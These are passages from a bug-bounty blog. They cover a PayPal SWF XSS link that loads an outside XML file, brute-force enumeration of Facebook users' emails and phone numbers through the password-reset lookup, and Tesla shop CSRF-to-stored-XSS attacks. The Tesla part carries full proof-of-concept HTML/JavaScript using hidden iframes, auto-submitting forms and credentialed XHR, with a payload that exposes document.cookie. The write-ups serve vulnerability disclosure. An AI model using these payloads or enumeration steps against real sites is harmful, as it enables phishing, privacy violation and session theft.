<u style="background-color: white; color: #0000ee; font-family: arial, sans-serif; font-size: 13.33px;"><a href="https://personal.paypal.com/cms_content/IL/en_US/files/marketing_il/pp101_what_is_paypal.swf?xmlPath=https://111.68.53.116/ww/test.xml" style="color: #1155cc;" target="_blank">https://personal.<span class="il" style="background-color: #ffffcc; color: #222222;">paypal</span>.com/<wbr></wbr>cms_content/IL/en_US/files/<wbr></wbr>marketing_il/pp101_what_is_<wbr></wbr><span class="il" style="background-color: #ffffcc; color: #222222;">paypal</span>.swf?xmlPath=https://<wbr></wbr>badsite/evil.xml</a></u><br />
<br />
And if the user clicks any of the buttons they get pwned:<br />
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvIbbupGBbZtDe8VmU7FPabN9osArxJIUgY6_Y6R_tjJ9pWMouzM7vM52OlSgl85AlIXBcm36Ck4mZ4-1NvFdASmNsqGk4yO0pe46frLo5DMIDa0kbjAzTTLde10rI8Sxqq5Wo6dGOUu0u/s1600/paypalxss3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvIbbupGBbZtDe8VmU7FPabN9osArxJIUgY6_Y6R_tjJ9pWMouzM7vM52OlSgl85AlIXBcm36Ck4mZ4-1NvFdASmNsqGk4yO0pe46frLo5DMIDa0kbjAzTTLde10rI8Sxqq5Wo6dGOUu0u/s1600/paypalxss3.png" /></a></div>
<br />
<div>
<br /></div>
<br />
<b><span style="font-size: large;">Final Thoughts</span></b><br />
<br />
I wasn't the first person to report either of these issues and they've been on the site so long I'm sure a lot of bounty hunters have already seen them. Basic coding errors were to blame in both instances and could have been solved by using proper input filtering/whitelisting.<br />
<br />
Hope you guys found this post interesting, any questions or feedback, drop a comment below!<br />
<br />
Pwndizzle out.<br />
<br />Unknownnoreply@blogger.com9tag:blogger.com,1999:blog-6613536328909163975.post-22197537934133632002014-02-07T13:16:00.000+00:002014-02-07T13:16:40.855+00:00Brute Forcing Your Facebook Email and Phone Number<div>
<span style="font-family: inherit;">Today I'm going to talk about the Facebook password reset page and a series of flaws that allowed anyone to brute force a user's primary email or mobile phone number.</span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;"><b>TL;DR</b> Iterate over phone numbers/emails, dump valid but anonymous data, use manual/automated enumeration to find specific owners.</span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;"><br /></span></div>
<div>
<b><span style="font-family: inherit; font-size: large;">Forgot my password...</span></b><br />
<span style="font-family: inherit;"><br />To perform a password reset on Facebook you first have to find your account. You can conveniently search by either your email, phone, id, username or full name.</span><br />
<br />
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSkRhBKuRsz-pX8pRBwsqWMrH1GdA1i15klTVRMcwG3jEpn8qQXOE9z5WLt-Q64ZBNUV-0XXREMmfZ2lv9t3yeO5uerMGcODLuGsFvMlHCXzLYQD5qIHkcis5i4ToEkzxyIHcNuj-akEaK/s1600/pfb1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><span style="font-family: inherit;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSkRhBKuRsz-pX8pRBwsqWMrH1GdA1i15klTVRMcwG3jEpn8qQXOE9z5WLt-Q64ZBNUV-0XXREMmfZ2lv9t3yeO5uerMGcODLuGsFvMlHCXzLYQD5qIHkcis5i4ToEkzxyIHcNuj-akEaK/s1600/pfb1.png" /></span></a></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: inherit;"><br /></span></div>
<span style="font-family: inherit;">If the account has used your ip range before, you will be shown the username, picture of the user, obfuscated email and obfuscated phone number and from here you can choose how you want to reset your password.</span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgteecwF0wqntgS0WNnKP3l7fix7xZCG84CJYVtgAprDt-Y44PbV7avnnHdo6S_JxSAuk-g9SkgFdLXqHlymuD7xJ9-kspXtJvMf2Rko-n0LMrqhni3-x-LjC-013xDDWTAITA2hvC0ktKt/s1600/pfb2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><span style="font-family: inherit;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgteecwF0wqntgS0WNnKP3l7fix7xZCG84CJYVtgAprDt-Y44PbV7avnnHdo6S_JxSAuk-g9SkgFdLXqHlymuD7xJ9-kspXtJvMf2Rko-n0LMrqhni3-x-LjC-013xDDWTAITA2hvC0ktKt/s1600/pfb2.png" /></span></a></div>
<span style="font-family: inherit;"><br /></span></div>
<div>
<span style="font-family: inherit;">Once you press continue Facebook will send you a one time password reset link/code that can be used to change your password. </span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;"><br /></span><span style="font-family: inherit; font-size: large;"><b>Under the hood</b></span><br />
<span style="font-family: inherit;"><br /></span><span style="font-family: inherit;">When you press that first "Search" button, two requests are sent.</span><br />
<span style="font-family: inherit;"><br /></span>
- <b>Request #1</b> (POST /ajax/login/help/identify.php?ctx=recover) seems to be an initial check to verify if the data you are requesting actually exists. If it does, a cookie is set and you are redirected (Request #2). If it doesn't exist you are given an error message.<br />
<br />
- <b>Request #2</b> (GET /recover/initiate) if you are redirected, the request passes the cookie from step one and the server will give you the password reset info, name/image/email/phone.<br />
<br />
<span style="font-family: inherit;">So where are the flaws?</span><br />
<span style="font-family: inherit;"><br />
<br />
<b><span style="font-size: large;">Issue #1 Verify information through look-up</span></b></span><br />
<span style="font-family: inherit;"><br />Did you notice how we were able to search for an arbitrary user/email/phone number and obtain the username/image/obfuscated data? The lookup feature </span><span style="font-family: inherit;">fundamentally contains and operates using an information disclosure vulnerability. We're able to gain limited information about specific users we're not friends with and even evade privacy settings.</span><br />
<span style="font-family: inherit;"><br /></span>Using <b>Request #1</b> we can effectively ask the Facebook server does this email/phone number exist in your database? And the server will reply yes or no. It won't however tell us who the owner is. This kind of information disclosure is present in a number of features on Facebook.<br />
<br />
<span style="font-family: inherit;">Using <b>Request #2</b> we can ask the server who the specific owner of a particular phone/email is and the server will tell us. Awesome, but t</span><span style="font-family: inherit;">here are some server-side checks which mean this information is only disclosed (i think) if you have a specific cookie, user-agent or if the request is coming an ip range the account has used before. So user lookups are still possible with </span><b style="font-family: inherit;">Request #2</b><span style="font-family: inherit;"> but you'll only be able to find users who've used your ip range. Example below.</span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;"><b>Invalid IP</b> - Searching by email, our email is echo'ed back but username is not given as the account has never logged in from my network.</span><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjni1X3Bntsp8QnZNgu29xa_ZZQRa6oYVmUY7gzo6t53C_XXx6x7biPzN0caX0bUP9f5IRM7e3EEnOkYvIT9gZmjc_FPKNb6bk4Ge_Eu2uO8AQW2THUpHLB_fDoCdXMVN5S27grDIJykWCt/s1600/ptfb2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjni1X3Bntsp8QnZNgu29xa_ZZQRa6oYVmUY7gzo6t53C_XXx6x7biPzN0caX0bUP9f5IRM7e3EEnOkYvIT9gZmjc_FPKNb6bk4Ge_Eu2uO8AQW2THUpHLB_fDoCdXMVN5S27grDIJykWCt/s1600/ptfb2.png" /></a></div>
<br />
<b>Valid IP</b> - After logging in, again searching by email we see the email, but this time we are also given the <b>username </b>and<b> image</b>.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEGtrN0rIOYl4a7vaZA_tGMbTwNfEQrTUYQbxTU1xHZt427jdcgsuH9YmZgjY1BH7UzwZMuAsv8JfFB7q72rQo1kRASBFJI_PvjKIHftn03aqOCrNSkUBanq6cYjpS9K2XDsav6C4MN7wN/s1600/ptfb3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEGtrN0rIOYl4a7vaZA_tGMbTwNfEQrTUYQbxTU1xHZt427jdcgsuH9YmZgjY1BH7UzwZMuAsv8JfFB7q72rQo1kRASBFJI_PvjKIHftn03aqOCrNSkUBanq6cYjpS9K2XDsav6C4MN7wN/s1600/ptfb3.png" /></a></div>
<br />
<br />
<span style="font-family: inherit;"><b><span style="font-size: large;">Issue #2 No throttling of requests</span></b></span><br />
<span style="font-family: inherit;"><br /></span><span style="font-family: inherit;">For <b>Request #1</b> no throttling mechanism was used. </span>This meant it was possible to repeatedly query the Facebook server, effectively allowing mass collection of valid users/emails/phone numbers (a spammers dream come true).<br />
<br />
If you send <b>Request #2</b> too often you'll hit a captcha, but not a hard cap. So for a determined attacker they could just repeatedly enter the captcha.<br />
<br />
<span style="font-family: inherit;"><br />
<b><span style="font-size: large;">Issue #3 Obfuscation fail</span></b></span><br />
<span style="font-family: inherit;"><br />Although it may seem trivial, by giving away two characters plus the domain for email addresses and four out of eleven characters for phone numbers Facebook had made these parameters significantly easier to brute force.</span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZys_o_ZLAxJ1zS1EDUba7MR62aTNZCOOV_TlUWHMhhOyCOSmwA-wOg9FwTMwfoH1q4Af_I71-2F7BWrHqet1XQDhp9fUlZhYg447-6pg-lLs0GsmAGhyphenhyphenxEim_gGfQTGe0xy4eK6xmsKdD/s1600/pfb8.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZys_o_ZLAxJ1zS1EDUba7MR62aTNZCOOV_TlUWHMhhOyCOSmwA-wOg9FwTMwfoH1q4Af_I71-2F7BWrHqet1XQDhp9fUlZhYg447-6pg-lLs0GsmAGhyphenhyphenxEim_gGfQTGe0xy4eK6xmsKdD/s320/pfb8.png" height="133" width="320" /></a></div>
Take my phone number for example. My number is 11 digits long. The first four digits are from the carrier and for most countries there will be a small number of possibilities (50 in my case). Facebook have told us the last four digits. So my 11 digit number (99,999,999,999 possible combinations) has been reduced to 11 - 4 (FB) - 4 (Carrier) = 3 digits (1000 possible combinations per carrier range!).<br />
<br />
The same applies to email addresses although they are harder to guess because of the larger search space.<br />
<br />
<br />
<b><span style="font-size: large;">Putting it all together...</span></b><br />
<br />
Taking advantage of the issues above it is possible to effectively brute force a specific user's phone number or email. For a phone number the attack goes like this:<br />
<ol>
<li>Get on an ip range that your target has recently used</li>
<li>Search for the user by <b>id</b>, <b>username</b> or <b>email</b></li>
<li>Obtain the last four digits of the phone number</li>
<li>Search the entire number space (with <b>Request #1</b>) and build a list of possible numbers</li>
<li>Re-submit numbers one by one (<b>Request #1</b> and <b>Request #2</b>), manually entering the captcha</li>
<li>Eventually one of the numbers will show you the reset page for your target, which tells us that number is the targets number!</li>
</ol>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgmDgOyopaxXNlTohh0qunMajq_1GnnfzarTR6mGYd9jYDMB8HsTVAf0AjpslPC3Llhj550KD3_MuS39wOnyrMn9q_2gqSmC4UldC3pmjkx2wu2sbPJynxJtGCI82eyCf5HYniKrsu9IZD/s1600/winning.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgmDgOyopaxXNlTohh0qunMajq_1GnnfzarTR6mGYd9jYDMB8HsTVAf0AjpslPC3Llhj550KD3_MuS39wOnyrMn9q_2gqSmC4UldC3pmjkx2wu2sbPJynxJtGCI82eyCf5HYniKrsu9IZD/s320/winning.jpg" height="296" width="320" /></a></div>
<span style="font-family: inherit;"><br /></span>
<br />
<span style="font-family: inherit;">So lets see some of this stuff in action...</span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;"><br /></span>
<span style="font-size: large;"><b>Enumerating everything!</b></span><br />
<br />
The simplest attack is just to enumerate everyone/everything. You won't know the owners of the emails/phone numbers but you'll still know they are valid and are being used by a Facebook user.<br />
<br />
All we need to do for enumeration is send the following POST request containing our guess, which can be a user/email/phone number.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWaNrvpTTZjr8r1GWlvX7o1uYVYdKjPhBNBX3Muu5LdRq89XQDiSXBLVvMPIlG6j9wMX6zoCTBPU1G4R-UKh7_P6d5Gkh9bxauoWOAOXYfLOx1C2gFf-1lQbY_uhlt2QHIx74eAd5pzEjx/s1600/guess.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWaNrvpTTZjr8r1GWlvX7o1uYVYdKjPhBNBX3Muu5LdRq89XQDiSXBLVvMPIlG6j9wMX6zoCTBPU1G4R-UKh7_P6d5Gkh9bxauoWOAOXYfLOx1C2gFf-1lQbY_uhlt2QHIx74eAd5pzEjx/s1600/guess.png" /></a></div>
<br />
Using Burp Intruder I performed two tests, one where I found valid phone numbers, another where I found valid emails. The first payload I used looked like this <carrier><payload><3362>. Responses of 809 indicate invalid numbers while 1081/1102 indicate valid numbers.<br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDu5UkjLqxIDBzKE9mrihaiPROGD-1jv0lv0KUFHF_yw60-gSidj0eAhasu5Fb40zGikMJDJIpxIDJwtP9MBSAwgoNXlGREeAsnea-JO21yn5aEfslEZ2Pa1UUIlfu79OHuFVb4pTRngGW/s1600/numbers1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDu5UkjLqxIDBzKE9mrihaiPROGD-1jv0lv0KUFHF_yw60-gSidj0eAhasu5Fb40zGikMJDJIpxIDJwtP9MBSAwgoNXlGREeAsnea-JO21yn5aEfslEZ2Pa1UUIlfu79OHuFVb4pTRngGW/s1600/numbers1.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
For email testing I submitted the payload johnsmith<number>@gmail.com. Same as before, 809 indicates invalid emails where as 1102/1123 indicates valid emails.
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSQ2xNsm7LhBgK4lq58jVbA6SceRWVbfXCLWY3I4Wufv-CxM7htBtPiS_RmgBgJsrfMii0RW0B3vEEle5r9vkZ7tHTxPmsTGTSA9eWMykjHtzsNs0bVz84Ziuxz2LHYElGQN9EeROjFcMo/s1600/emails1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSQ2xNsm7LhBgK4lq58jVbA6SceRWVbfXCLWY3I4Wufv-CxM7htBtPiS_RmgBgJsrfMii0RW0B3vEEle5r9vkZ7tHTxPmsTGTSA9eWMykjHtzsNs0bVz84Ziuxz2LHYElGQN9EeROjFcMo/s1600/emails1.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
And because there is no captcha or throttling we can just keep going and going until we've found every email/phone number registered with Facebook and spam/spear phish them all :)<br />
<br />
<span style="font-family: inherit;">
<br /><b><span style="font-size: large;">Targeted Pwnage</span></b></span></div>
</div>
<div>
<br />
Although a targeted attack is harder, it's still possible with a little preparation. To demonstrate, I'll attempt to find the phone number for my target user mark.zockerberg.54.<br />
<br />
First up, to evade the Facebook checks we'll need to attack from an ip in a range that our target has recently used. Next we'll need some way to identify our user - id, name, username and email/phone number are all options. I start off by searching for the username in the request below:<br />
<br />
<br /></div>
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgo5JRuAcqbmSMjaEYjPTUi_qZPXOa2qyMpXvAKY3hWeJvgyZAuEP6j5awVQRIUfoP_jJSHAHqg4e_CbjAWepADv2hgQvc4UQgZR73mdPJ98OOOPFNGKjb_dq7EyQQNsnR1g-6KspxxPbHd/s1600/request.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgo5JRuAcqbmSMjaEYjPTUi_qZPXOa2qyMpXvAKY3hWeJvgyZAuEP6j5awVQRIUfoP_jJSHAHqg4e_CbjAWepADv2hgQvc4UQgZR73mdPJ98OOOPFNGKjb_dq7EyQQNsnR1g-6KspxxPbHd/s1600/request.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
The response from this request will redirect us to the page with basic user data: </div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiY7po64-av28jlzJaXEsPzmGhY9JCxtA95YD8Aby27wDemeVB7HqYz8KHSOfDpCU7kKDycV-TEsQW9YC76JJl6ttIwOTmqCHpE0o0BG2I7A7a66hS3L8xMF8PiFTxhefHUJt-fh4eJAuOf/s1600/pfb2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiY7po64-av28jlzJaXEsPzmGhY9JCxtA95YD8Aby27wDemeVB7HqYz8KHSOfDpCU7kKDycV-TEsQW9YC76JJl6ttIwOTmqCHpE0o0BG2I7A7a66hS3L8xMF8PiFTxhefHUJt-fh4eJAuOf/s1600/pfb2.png" /></a></div>
</div>
<div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
Using the 4 digits from Facebook and mobile carrier ranges obtained from Google I now start searching for potential numbers that our user could be using:<br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhd0z8p84u9Rtrvotny6iTsbfr-YKA_8sIJ27QQ0Z__KokxfkxILeg6fZuvVO659LQLkVc8E9asyMd10A_GibqLH3aKZWEfFKzFL70R_NTfSqsi58iMHApVwdPjtIf3i9Nhr5pBym2WS-2i/s1600/request.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhd0z8p84u9Rtrvotny6iTsbfr-YKA_8sIJ27QQ0Z__KokxfkxILeg6fZuvVO659LQLkVc8E9asyMd10A_GibqLH3aKZWEfFKzFL70R_NTfSqsi58iMHApVwdPjtIf3i9Nhr5pBym2WS-2i/s1600/request.png" /></a></div>
<br />
Scanning every carrier range (changing 0926 for 0927, 0928 etc.) we will get a reasonably small list of potential numbers.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSXQmNMNCJXg-v8aySAwywVJ3Z0ZPbxEAE_HrNlhICTmAElYmuCu1_GbA01_DgciVzEPUT1kg7tCQyrOaWg1iubaylwkE5PwQ4N2IQBuj6GhELjDlzUGfc9jBnA2Uy1c5GbL8qPpo1Ldzy/s1600/brute1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSXQmNMNCJXg-v8aySAwywVJ3Z0ZPbxEAE_HrNlhICTmAElYmuCu1_GbA01_DgciVzEPUT1kg7tCQyrOaWg1iubaylwkE5PwQ4N2IQBuj6GhELjDlzUGfc9jBnA2Uy1c5GbL8qPpo1Ldzy/s1600/brute1.png" /></a></div>
<br />
Because of the captcha on <b>Request #2</b> we can't automate number to name enumeration, so the only way to convert all of our numbers to users is by manually searching and completing the captcha. Assuming you have 300 numbers and it takes you 15 seconds to enter the captcha for each number, it will take just over an hour to check them all. Eventually one of the numbers you enter will lead you back to the password reset page for your target, effectively confirming that the number belongs to that user!<br />
<br />
If there was no captcha or you had a bypass you'd be able to automate username lookups something like the following:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHnsWBaA3kAf0TKIfWliZwE8r2JodY43Ip-dHr8Xei5pcPe-1VPfEI5puZuAcVvrmV_ubHWe2tdhSAwOM5soNAbQdM654eD7TOfvvRUQEfVHy4vSQVTiQIfVNobY82Vu2zblPUAWhRfo5a/s1600/brute2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHnsWBaA3kAf0TKIfWliZwE8r2JodY43Ip-dHr8Xei5pcPe-1VPfEI5puZuAcVvrmV_ubHWe2tdhSAwOM5soNAbQdM654eD7TOfvvRUQEfVHy4vSQVTiQIfVNobY82Vu2zblPUAWhRfo5a/s1600/brute2.png" /></a></div>
<br />
Here I converted the sfiu cookie direct to user and you can see we get our user Mark Zockerberg (the captcha kicks in right after)<br />
<br />
The techniques I used above could also have been used to find a user's email address. Although with emails containing both <b>letters</b> and <b>numbers</b> the search space is a lot larger, e.g. email with 8 characters = 36^8 combinations! With that said, a lot of users will use emails that contain dictionary words or their names, so it may not actually be that hard. Also for an attacker targeting a specific company he could dump emails from their website/google and run those addresses through the password reset to locate and then target their employees, could provide some interesting results.<br />
<br /></div>
<div>
<span style="font-family: inherit;">
<br />
<b><span style="font-size: large;">Final Thoughts</span></b></span><br />
<span style="font-family: inherit;"><br /></span>The classic email password reset can and is often implemented completely securely with no information disclosure. Both Google and Facebook however have created multi-step resets that involve information disclosure. For me it just doesn't sit well and I suspect we might see changes in the future.<br />
<br />
To mitigate the attacks discussed above Facebook reduced the phone number digits disclosed from four to two and implemented a captcha check for <b>Request #1</b>. The fundamental issue of providing a look-up feature though has not been modified. So if you have a botnet or captcha bypass (watch this space!) you can still dump valid numbers and emails.<br />
<br />
I hope you guys have enjoyed this post, questions, comments, are always appreciated.<br />
<br />
Pwndizzle over and out</div>
Unknownnoreply@blogger.com131tag:blogger.com,1999:blog-6613536328909163975.post-39577457301080358862014-01-31T13:10:00.000+00:002014-01-31T13:11:08.659+00:00Tesla Shop CSRF/XSS And Multiple POST RequestsBack in November Tesla announced they were starting a bug bounty program. I took a quick look and came across a few CSRF and XSS issues in their shop site. Although the vulnerabilities themselves were nothing special, to instantly trigger the XSS required multiple POSTs.<br />
<br />
In this post I'll look at some of the potential exploit techniques in Chrome v32.<br />
<br />
<b>TL;DR</b> XSS using iframes, window.open, pop-unders and boobs!<br />
<br />
<br />
<b><span style="font-size: large;">The Tesla store and it's vulns</span></b><br />
<br />
The Tesla shop (http://shop.teslamotors.com/) was missing CSRF tokens/headers, X-Frame-Options and also the VIN parameter (vehicle identification number?) was susceptible to stored XSS.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtY_GD003E1mGScFJ0WcixaB7t0TeAJQ7jY_e7bpudmV3tfNpUtWGW_ZyaVr4bzeBv6YSDde3eYzPRIhQbLKIloio2eYNTunNIGFlEum0TkEaIjK8x3RtmS6n3jvZIuYY4w2X82FVPIqiK/s1600/VIN.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtY_GD003E1mGScFJ0WcixaB7t0TeAJQ7jY_e7bpudmV3tfNpUtWGW_ZyaVr4bzeBv6YSDde3eYzPRIhQbLKIloio2eYNTunNIGFlEum0TkEaIjK8x3RtmS6n3jvZIuYY4w2X82FVPIqiK/s400/VIN.png" /></a></div>
<div style="text-align: center;">
<span style="font-size: x-small;">The cart and VIN number</span></div>
<br />
If you entered an XSS payload in the VIN field and then proceeded to the checkout the VIN would be stored on the cart page. The next time the user visited the cart page the XSS would be triggered. To exploit all we'd need to do is build a malicious page with a form containing our XSS payload that is auto-submitted when the user loads our page. Easy right?<br />
<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;"><form name="csrf_form" action="http://shop.teslamotors.com/cart" method="POST">
<input name="updates[]" type="hidden" value="1">
<input name="attributes[your-VIN]" type="hidden" value=\'"><iframe/onload=alert(document.cookie)>\'>
<input name="note" type="hidden" value=""><input name="checkout" type="hidden" value="Checkout"></form>
<script>document.csrf_form.submit();</script>
</pre>
<br />
Although this would work the payload wouldn't trigger until the user actually visited the cart page and also if the user didn't have any items in their cart the VIN wouldn't load successfully.<br />
<br />
<br />
<b style="font-size: x-large;">Instant XSS Pwnage with iframes</b><br />
<br />
To instantly and reliably trigger the XSS I would need to get the user to:<br />
<ol>
<li>Add an item to their cart </li>
<li>Add an XSS payload as a VIN number</li>
<li>Make them visit their cart to trigger the XSS </li>
</ol>
There are a number of <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Forms/Sending_forms_through_JavaScript">ways</a> to send POST requests. The easiest option was to use three iframes and some timers to send the requests one by one. Each submission will occur in a separate iframe, leaving the malicious page in-tact and using width/height zero iframes the user won't see anything happening. Example code:<br />
<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;"><iframe id=iframe1 width=0 height=0 frameborder=0></iframe>
<iframe id=iframe2 width=0 height=0 frameborder=0></iframe>
<iframe id=iframe3 width=0 height=0 frameborder=0></iframe>
<script>
setTimeout(function(){document.getElementById('iframe1').contentWindow.document.write('<form name="csrf_form1" action="http://shop.teslamotors.com/cart/add" method="POST"><input name="id" type="hidden" value="47210232"></form><script>document.csrf_form1.submit();\</script\>');},100);
setTimeout(function(){document.getElementById('iframe2').contentWindow.document.write('<form name="csrf_form2" action="http://shop.teslamotors.com/cart" method="POST"><input name="updates[]" type="hidden" value="1"><input name="attributes[your-VIN]" type="hidden" value=\'"><iframe/onload=alert(document.cookie)>\'><input name="note" type="hidden" value=""><input name="checkout" type="hidden" value="Checkout"></form><script>document.csrf_form2.submit();\</script\>');},3000);
setTimeout(function(){document.getElementById('iframe3').src='http://shop.teslamotors.com/cart'},6000);
</script>
</pre>
<span class="Apple-tab-span" style="white-space: pre;"> </span><br />
Or we can crack out the XHR which allows us to send requests directly from our javascript and then get the XSS to trigger in an iframe (a GET using XHR wouldn't work as the site was missing Access-Control headers) something like this:<br />
<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;"><script>
function xhrcsrf(){
//Add item to cart
var http = new XMLHttpRequest();
http.open("POST", "http://shop.teslamotors.com/cart/add" , true);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.withCredentials = "true";
http.send("id=47210232");
//Add XSS payload as VIN
setTimeout(function(){
http.open("POST", "http://shop.teslamotors.com/cart" , true);
http.send("updates[]=1&attributes[your-VIN]=\"><iframe/onload=alert(document.cookie)>&note=&checkout=Checkout");
},1000)
//Visit cart part to trigger XSS
setTimeout(function(){document.write('<iframe src="http://shop.teslamotors.com/cart" width=0 height=0 frameborder=0/></iframe>')},3000);
}
xhrcsrf();
</script>
</pre>
<br />
And running either POC you get the much loved alert window+cookie:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijM1T5P6Lfa30mapTjEt58fn8hGe84iYA6ENTAJHKBDqlO7CyeKUo-umD30WMcncoD_7ZhHuyZPDFDxnWALPzsluCsdMV4nTtbO55a3y-22Sco4n28hsal4TnSlsFHYmtaUIAimH_KQ2Vw/s1600/cartxss.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijM1T5P6Lfa30mapTjEt58fn8hGe84iYA6ENTAJHKBDqlO7CyeKUo-umD30WMcncoD_7ZhHuyZPDFDxnWALPzsluCsdMV4nTtbO55a3y-22Sco4n28hsal4TnSlsFHYmtaUIAimH_KQ2Vw/s1600/cartxss.png" /></a></div>
<br />
In terms of impact the CSRF/XSS seemed to be low risk as you just gain access to the cart, the more juicy payment and user session data is unfortunately held on the shopify site with the checkout. But what about other exploitation techniques? How about if the user had somehow disabled iframes? :o<br />
<br />
<br />
<b><span style="font-size: large;">BONUS - Non-iframe POC!</span></b><br />
<br />
While building the first POC I got to thinking about non-iframe and non-XHR possibilities. Without iframes there are a number of problems to overcome:<br />
<ul>
<li>On a single page you can't submit multiple forms simultaneously.</li>
<li>Submitting a form will take the user to the new page, away from our malicious page.</li>
<li>It's not possible to auto create new windows with javascript, without user interaction e.g. onclick</li>
<li>Even with user interaction you can't create multiple new windows as the pop-up blocker will block additional windows.</li>
<li>Chrome will focus any new window making user interaction on the malicious page difficult to maintain.</li>
<li>Pop-unders are often prevented by Chrome.</li>
</ul>
So what's the answer?<br />
<br />
<br />
<span style="font-size: large;"><b>Multiple POSTs Multiple Windows</b></span><br />
<br />
My first idea was to open new windows, document.write my code and my POST requests would be sent leaving my malicious page intact. Unfortunately window.open requires user interaction (onclick, onkeypress etc.) to evade the pop-up blocker.<br />
<br />
